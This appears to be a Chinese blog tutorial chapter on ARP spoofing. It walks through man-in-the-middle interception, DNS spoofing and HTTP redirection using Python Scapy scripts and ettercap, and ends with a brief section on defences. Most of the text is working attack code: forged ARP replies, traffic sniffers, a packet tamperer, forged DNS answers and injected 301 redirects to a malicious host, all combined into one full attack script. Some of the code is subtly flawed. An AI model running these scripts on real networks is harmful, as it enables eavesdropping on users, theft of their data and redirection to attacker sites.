首页 > 其他分享 >ARP欺骗技术:DNS欺骗与HTTP重定向_(3).ARP欺骗的攻击方法

ARP欺骗技术:DNS欺骗与HTTP重定向_(3).ARP欺骗的攻击方法

时间:2024-11-16 20:17:24浏览次数:3  
标签:ARP HTTP ip packet TCP DNS IP 欺骗

ARP欺骗的攻击方法

在上一节中,我们讨论了ARP协议的基本工作原理以及如何利用Python库进行ARP请求和响应的发送。本节将深入探讨ARP欺骗的具体攻击方法,包括如何通过ARP欺骗进行中间人攻击(Man-in-the-Middle, MITM),并详细说明DNS欺骗与HTTP重定向的技术细节。

1. ARP欺骗的基本原理

ARP欺骗是一种网络攻击技术,攻击者通过伪造ARP请求或响应,使网络中的目标主机将攻击者的MAC地址与目标主机的IP地址绑定,从而实现中间人攻击。中间人攻击允许攻击者拦截、篡改或监视目标主机与网关之间的通信。

在这里插入图片描述

1.1 伪造ARP请求

伪造ARP请求是ARP欺骗的第一步。攻击者发送一个伪造的ARP请求,请求目标主机的MAC地址,然后在网络中接收响应。通过这种方式,攻击者可以获取目标主机的MAC地址。


# 伪造ARP请求

from scapy.all import *



# 定义目标IP

target_ip = "192.168.1.10"



# 创建ARP请求

arp_request = ARP(pdst=target_ip)



# 设置以太网帧

ether = Ether(dst="ff:ff:ff:ff:ff:ff")



# 组合ARP请求和以太网帧

packet = ether / arp_request



# 发送ARP请求

sendp(packet)



# 接收ARP响应

response = srp(packet, timeout=2, verbose=False)[0]



# 解析ARP响应

for sent, received in response:

    print(f"Target IP: {received.psrc} - Target MAC: {received.hwsrc}")

1.2 伪造ARP响应

伪造ARP响应是ARP欺骗的核心步骤。攻击者发送一个伪造的ARP响应,将自己冒充为目标主机或网关,使目标主机或网关更新其ARP缓存,将攻击者的MAC地址与目标IP地址绑定。


# 伪造ARP响应

from scapy.all import *



# 定义目标IP和网关IP

target_ip = "192.168.1.10"

gateway_ip = "192.168.1.1"



# 获取目标主机的MAC地址

def get_mac(ip):

    arp_request = ARP(pdst=ip)

    ether = Ether(dst="ff:ff:ff:ff:ff:ff")

    packet = ether / arp_request

    response = srp(packet, timeout=2, verbose=False)[0]

    for sent, received in response:

        return received.hwsrc



# 获取目标主机和网关的MAC地址

target_mac = get_mac(target_ip)

gateway_mac = get_mac(gateway_ip)



# 创建伪造的ARP响应

arp_response_target = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)

arp_response_gateway = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip)



# 发送伪造的ARP响应

send(arp_response_target)

send(arp_response_gateway)

2. 中间人攻击(Man-in-the-Middle, MITM)

中间人攻击是指攻击者插入到两个通信主机之间,拦截、篡改或监视它们之间的通信。ARP欺骗是实现中间人攻击的常见方法之一。

2.1 监听网络流量

通过ARP欺骗,攻击者可以将目标主机的流量重定向到自己,然后监听这些流量。以下是一个使用Scapy库监听HTTP流量的示例。


# 监听HTTP流量

from scapy.all import *



def process_packet(packet):

    if packet.haslayer(IP) and packet.haslayer(TCP):

        src_ip = packet[IP].src

        dst_ip = packet[IP].dst

        src_port = packet[TCP].sport

        dst_port = packet[TCP].dport

        if packet[TCP].dport == 80 or packet[TCP].sport == 80:

            print(f"HTTP Packet: {src_ip}:{src_port} -> {dst_ip}:{dst_port}")

            if packet.haslayer(Raw):

                print(packet[Raw].load)



# 开始监听网络流量

sniff(filter="ip", prn=process_packet, store=0)

2.2 篡改网络流量

除了监听网络流量,攻击者还可以篡改网络流量。例如,篡改HTTP请求或响应,插入恶意代码或重定向到恶意网站。


# 篡改HTTP流量

from scapy.all import *



def process_packet(packet):

    if packet.haslayer(IP) and packet.haslayer(TCP) and packet.haslayer(Raw):

        if packet[TCP].dport == 80 or packet[TCP].sport == 80:

            # 解析HTTP请求或响应

            http_data = packet[Raw].load.decode('utf-8', errors='ignore')

            if "Host: example.com" in http_data:

                # 篡改HTTP响应

                new_data = http_data.replace("example.com", "malicious.com")

                packet[Raw].load = new_data

                del packet[IP].len

                del packet[IP].chksum

                del packet[TCP].chksum

                # 发送篡改后的包

                sendp(packet)



# 开始监听网络流量

sniff(filter="ip", prn=process_packet, store=0)

3. DNS欺骗

DNS欺骗是一种通过篡改DNS查询响应,将目标主机引向恶意网站的技术。攻击者可以通过中间人攻击拦截DNS查询,并返回伪造的DNS响应。

3.1 拦截DNS查询

使用Scapy库可以拦截DNS查询,并解析查询内容。


# 拦截DNS查询

from scapy.all import *



def process_packet(packet):

    if packet.haslayer(IP) and packet.haslayer(UDP) and packet.haslayer(DNS):

        if packet[DNS].qr == 0:  # DNS查询

            dns_query = packet[DNS].qd.qname.decode('utf-8').strip('.')

            print(f"DNS Query: {dns_query}")



# 开始监听网络流量

sniff(filter="udp port 53", prn=process_packet, store=0)

3.2 发送伪造的DNS响应

攻击者可以发送伪造的DNS响应,将目标主机引向恶意网站。


# 发送伪造的DNS响应

from scapy.all import *



def process_packet(packet):

    if packet.haslayer(IP) and packet.haslayer(UDP) and packet.haslayer(DNS):

        if packet[DNS].qr == 0:  # DNS查询

            dns_query = packet[DNS].qd.qname.decode('utf-8').strip('.')

            if dns_query == "example.com":

                # 创建伪造的DNS响应

                dns_response = IP(dst=packet[IP].src, src=packet[IP].dst) / \

                              UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) / \

                              DNS(id=packet[DNS].id, qr=1, qd=packet[DNS].qd, an=DNSRR(rrname=dns_query, ttl=10, rdata="192.168.1.100"))

                # 发送伪造的DNS响应

                send(dns_response)



# 开始监听网络流量

sniff(filter="udp port 53", prn=process_packet, store=0)

4. HTTP重定向

HTTP重定向是指通过篡改HTTP响应,将目标主机引向恶意网站。攻击者可以利用中间人攻击拦截HTTP请求,并返回重定向响应。

4.1 拦截HTTP请求

使用Scapy库可以拦截HTTP请求,并解析请求内容。


# 拦截HTTP请求

from scapy.all import *



def process_packet(packet):

    if packet.haslayer(IP) and packet.haslayer(TCP) and packet.haslayer(Raw):

        if packet[TCP].dport == 80 or packet[TCP].sport == 80:

            http_data = packet[Raw].load.decode('utf-8', errors='ignore')

            if "Host: example.com" in http_data:

                print(f"HTTP Request: {http_data}")



# 开始监听网络流量

sniff(filter="ip", prn=process_packet, store=0)

4.2 发送重定向响应

攻击者可以发送HTTP重定向响应,将目标主机引向恶意网站。


# 发送重定向响应

from scapy.all import *



def process_packet(packet):

    if packet.haslayer(IP) and packet.haslayer(TCP) and packet.haslayer(Raw):

        if packet[TCP].dport == 80 or packet[TCP].sport == 80:

            http_data = packet[Raw].load.decode('utf-8', errors='ignore')

            if "Host: example.com" in http_data:

                # 创建HTTP重定向响应

                http_response = IP(dst=packet[IP].src, src=packet[IP].dst) / \

                               TCP(dport=packet[TCP].sport, sport=packet[TCP].dport, flags="A", seq=packet[TCP].ack, ack=packet[TCP].seq + 1) / \

                               Raw(load="HTTP/1.1 301 Moved Permanently\r\nLocation: http://malicious.com\r\n\r\n")

                # 发送HTTP重定向响应

                send(http_response)



# 开始监听网络流量

sniff(filter="ip", prn=process_packet, store=0)

5. 实战演练

5.1 实现一个完整的ARP欺骗中间人攻击

以下是一个完整的示例,实现ARP欺骗的中间人攻击,并监听HTTP和DNS流量。


# 实现ARP欺骗中间人攻击

from scapy.all import *



# 定义目标IP和网关IP

target_ip = "192.168.1.10"

gateway_ip = "192.168.1.1"



# 获取目标主机和网关的MAC地址

def get_mac(ip):

    arp_request = ARP(pdst=ip)

    ether = Ether(dst="ff:ff:ff:ff:ff:ff")

    packet = ether / arp_request

    response = srp(packet, timeout=2, verbose=False)[0]

    for sent, received in response:

        return received.hwsrc



# 发送ARP欺骗包

def send_arp_spoof(target_ip, target_mac, source_ip):

    arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=source_ip)

    send(arp_response, verbose=False)



# 恢复网络

def restore_arp(target_ip, target_mac, gateway_ip, gateway_mac):

    arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac)

    send(arp_response, count=4, verbose=False)



# 获取目标主机和网关的MAC地址

target_mac = get_mac(target_ip)

gateway_mac = get_mac(gateway_ip)



# 发送ARP欺骗包

send_arp_spoof(target_ip, target_mac, gateway_ip)

send_arp_spoof(gateway_ip, gateway_mac, target_ip)



# 监听HTTP和DNS流量

def process_packet(packet):

    if packet.haslayer(IP) and packet.haslayer(TCP):

        src_ip = packet[IP].src

        dst_ip = packet[IP].dst

        src_port = packet[TCP].sport

        dst_port = packet[TCP].dport

        if packet[TCP].dport == 80 or packet[TCP].sport == 80:

            if packet.haslayer(Raw):

                http_data = packet[Raw].load.decode('utf-8', errors='ignore')

                if "Host: example.com" in http_data:

                    print(f"HTTP Request: {http_data}")

                    http_response = IP(dst=packet[IP].src, src=packet[IP].dst) / \

                                   TCP(dport=packet[TCP].sport, sport=packet[TCP].dport, flags="A", seq=packet[TCP].ack, ack=packet[TCP].seq + 1) / \

                                   Raw(load="HTTP/1.1 301 Moved Permanently\r\nLocation: http://malicious.com\r\n\r\n")

                    send(http_response)

    if packet.haslayer(IP) and packet.haslayer(UDP) and packet.haslayer(DNS):

        if packet[DNS].qr == 0:  # DNS查询

            dns_query = packet[DNS].qd.qname.decode('utf-8').strip('.')

            if dns_query == "example.com":

                print(f"DNS Query: {dns_query}")

                dns_response = IP(dst=packet[IP].src, src=packet[IP].dst) / \

                              UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) / \

                              DNS(id=packet[DNS].id, qr=1, qd=packet[DNS].qd, an=DNSRR(rrname=dns_query, ttl=10, rdata="192.168.1.100"))

                send(dns_response)



# 开始监听网络流量

sniff(filter="ip or udp port 53", prn=process_packet, store=0)



# 恢复网络

restore_arp(target_ip, target_mac, gateway_ip, gateway_mac)

5.2 使用ettercap工具进行ARP欺骗

除了使用Python编写脚本,还可以使用现成的工具进行ARP欺骗。例如,ettercap是一个广泛使用的网络攻击工具,可以轻松实现ARP欺骗和中间人攻击。

  1. 安装ettercap

    
    sudo apt-get install ettercap-graphical
    
    
  2. 启动ettercap

    
    sudo ettercap -G
    
    
  3. 选择目标主机和网关

    在ettercap的图形界面中,选择目标主机和网关,然后启用ARP欺骗。

  4. 配置插件

    选择插件,例如“dns_spoof”插件,配置恶意DNS记录。

  5. 开始攻击

    启动插件,开始攻击。ettercap会自动发送ARP欺骗包,并拦截和篡改目标主机的网络流量。

6. 防御ARP欺骗

虽然ARP欺骗是一种有效的攻击手段,但也有多种防御方法可以防止这种攻击。

6.1 静态ARP表

将网关和重要主机的MAC地址绑定到静态ARP表中,防止ARP缓存被篡改。


# 添加静态ARP条目

sudo arp -s 192.168.1.1 00:11:22:33:44:55

6.2 ARP监控工具

使用ARP监控工具,如arpwatch,监控网络中的ARP请求和响应,及时发现异常。


# 安装arpwatch

sudo apt-get install arpwatch



# 启动arpwatch

sudo arpwatch -i eth0

6.3 启用ARP安全机制

现代网络设备通常支持ARP安全机制,如ARP欺骗检测和ARP访问控制列表(ACL)。


# 在路由器或交换机上启用ARP安全机制

# 例如,Cisco设备上启用ARP欺骗检测

conf t

ip arp inspection vlan 1

exit

通过以上方法,可以有效地防止ARP欺骗攻击,保护网络的安全。

7. 结论

本节详细介绍了ARP欺骗的具体攻击方法,包括伪造ARP请求和响应、中间人攻击、DNS欺骗和HTTP重定向。通过实战演练和工具使用,读者可以深入了解这些技术的具体实现和防御方法。在实际应用中,应谨慎使用这些技术,确保网络安全。

标签:ARP,HTTP,ip,packet,TCP,DNS,IP,欺骗
From: https://blog.csdn.net/chenlz2007/article/details/143782644

相关文章

  • ARP欺骗技术:DNS欺骗与HTTP重定向_(4).ARP欺骗的防御措施
    ARP欺骗的防御措施1.静态ARP表1.1原理静态ARP表是一种将特定IP地址与MAC地址绑定的方法,以防止动态ARP表被恶意修改。通过静态ARP表,网络管理员可以手动配置IP地址和MAC地址的对应关系,从而确保这些关系不会被ARP欺骗攻击所改变。1.2内容静态ARP表的设置通常在路由器......
  • CTF web解题 PHP http referer xff使用 burpsuite使用 新手入门 [SWPUCTF 2022 新生赛
    每日emo:burp可以抓包,你可以抓住到她的心吗?[SWPUCTF2022新生赛]xffFlag:NSSCTF{th1s_xff_1s_e4ay}打开靶机抓个包看一下根据打开靶机显示MustbeaccessedfromXiaohong'sowncomputer.传入X-Forwarded-For到127.0.0.1根据提示添加Referer到127.0.0.1......
  • [Codeforces Round 987 (Div. 2)](https://codeforces.com/contest/2031)解题报告
    CodeforcesRound987(Div.2)太好了是阳间场,我们有救了感觉脑子生锈了qwq,F题做不出来A分析知如果有\(i<j\)且\(a_i>a_j\)的情况出现则\(i\)和\(j\)一定至少改一个。所以答案即为\(n-cnt\),\(cnt\)为众数个数。B发现一个数离自己原本的位置距离不会超过\(1\),有......
  • HTTP协议介绍
    HTTP协议介绍一、HTTP-概述概念:HyperTextTransferProtocol,超文本传输协议,规定了浏览器和服务器之间数据传输规则。特点:1、基于TCP协议:面向连接,安全2、基于请求-响应模型的:一次请求对应一次响应3、HTTP协议是无状态的协议:对于事务处理没有记忆能力。每次请求-响应......
  • DHCP欺骗
    DHCP欺骗原理DHCP协议(DynamicHostConfigurationProtocol)动态主机配置协议:主要给客户机提供TCP/IP参数,包括:IP地址、子网掩码、网关、DNS、租期工作原理应用层协议,基于UDP主机向服务器67号端口发送DHCP请求服务器响应给客户机的68号端口配置设置DH......
  • https实验
    https实验原理httphttpshttps=http+SSL/TLS•SSL:SecureSocketLayer安全套接层•TLS:TransportLayerSecurity传输层安全协议加密方式:PKI(公钥基础设施)使用公钥技术和数字签名来保证信息安全由公钥密码算法、数字证书(Certificate)、CA(Certificate......
  • DNS欺骗
    DNS欺骗原理将域名和IP地址的相互映射关系存放在一个分布式的数据库中DNS欺骗原理攻击者冒充DNS服务器,为被攻击主机提供错误的IP地址基于ARP攻击本质上属于MITM(中间人攻击)网络层通过ARP欺骗实现身份伪造应用层通过软件/脚本发送伪造虚假DNS响应报文配......
  • http自动设置自动代理的问题
    1、在系统中,已经去掉了自动代理,但是在使用selenium的时候,无法启动webdriver.chrome()2、必须使用如下代码,清除环境变量通过打印os.environ看出'HTTP_PROXY':'http://127.0.0.1:8080', proxy_env_vars={'HTTP_PROXY','HTTPS_PROXY','http_proxy','http......
  • HTTP 安全头配置:如何配置 HTTP 安全头来保护应用
    文章目录前言一、常用的HTTP安全头1.1Strict-Transport-Security(HSTS)1.2Content-Security-Policy(CSP)1.3X-Frame-Options(XFO)1.4X-Content-Type-Options1.5X-XSS-Protection1.6Referrer-Policy1.7Feature-Policy二、实践案例2.1项目结构2.2客户端代码......
  • HTTP协议详解:发展、请求方法与安全
    前言第一次写文章比较生疏,思路也很局限,除了课件之外添加内容有限,但也以此督促学习,争取日更。学习视频来自B站up主“泷羽sec”有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec......